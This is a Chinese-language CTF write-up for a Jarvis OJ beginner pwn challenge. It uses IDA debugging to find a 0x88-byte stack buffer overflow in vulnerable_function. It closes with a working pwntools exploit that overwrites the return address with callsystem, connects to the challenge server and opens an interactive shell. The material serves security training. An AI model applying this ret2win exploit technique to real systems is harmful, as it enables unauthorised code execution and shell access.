
下载获得文件,以及得知连接方式 nc pwn2.jarvisoj.com 9881

用checksec检查文件的各种属性 (防护技术)
3.用IDA*64打开目标文件,并且打开ubuntu的 linux_serverx64以便远程IDA调试


4.找到main函数入口,进入

f5查看对应的c语言伪代码

可以看到main函数中,最后return调用了一个vulnerable_function函数,继续打开对应函数的页面的同时,可以注意到函数列表中的callsystem,并且打开查看


可以看到是用read函数读取512个字节到buf中然后那个callsystem函数,是执行系统操作,获得flag,因为是新手题所以思路应该是:在vulnerable_function中执行read操作时,将返回到main函数的RIP修改为callsystem函数的地址然后getshell

在call vulnerable_function处下断,然后f9运行

然后f7单步步入函数

—————————-非同一次调试,但意思相通——————————–
7.在进入函数前,将caller的下一条指令的IP入栈了,然后可以看到第一个指令是将main函数的栈底rbp保存,然后将改变的rsp值,作为当前函数的栈底,赋值给rbp


然后继续执行下面的五条指令,分别为:将当前的栈腾出0x80H个字节的位置,然后初始化read函数所需要的三个参数。

然后,把栈窗口往下拉,可以看到,刚刚保存的RIP,地址为00007FFCC2C3AD18,再看回read函数,要开始读入字符的位置是RSI的值即:00007FFCC2C3AC90,相减得到0x88,因为00007FFCC2C3AD18处上方存放的是main函数的栈底地址,然而,从命令中可以看出是从这里开始腾出的0x80字节空间,所以,多了8字节就是这个main函数栈底地址
再看会read的参数,buf可以读入512字节的数据,而只需要读入0x88+0x8字节就可以覆盖,返回到main函数的地址,根据上面提供的思路,也就是用callsystem函数的入口地址覆盖返回地址即可getshell
{扩展:
c语言
write用法1:
ssize_t write(int fd, const void *buf, size_t nbyte);
fd:文件描述符;
buf:指定的缓冲区,即指针,指向一段内存单元;
nbyte:要写入文件指定的字节数;
返回值:写入文档的字节数(成功);-1(出错)
write函数把buf中nbyte写入文件描述符handle所指的文档,成功时返回写的字节数,错误时返回-1.
用法2:
write(const char* str,int n)
n是int型数,它用来表示输出显示字符串中字符的个数。
write(”string”,strlen(“string”);表示输出字符串常量
}
8.下面开始下python exp
from pwn import *
callsystem = 0x0000000000400596
#callsystem函数的入口地址
pay = "A" * 0x88
load = pay + p64(callsystem)
#构建payload p64函数:将整数值转为shellcode(16进制对应的机器码)
link = remote("pwn2.jarvisoj.com","9881")
#用来建立一个远程连接,pwn2.jarvisoj.com为地址,端口为9881
link.sendline(load)
#发送payload,并进行换行(末尾\n)
link.interactive()
#将控制权交给用户,这样就可以使用打开的shell了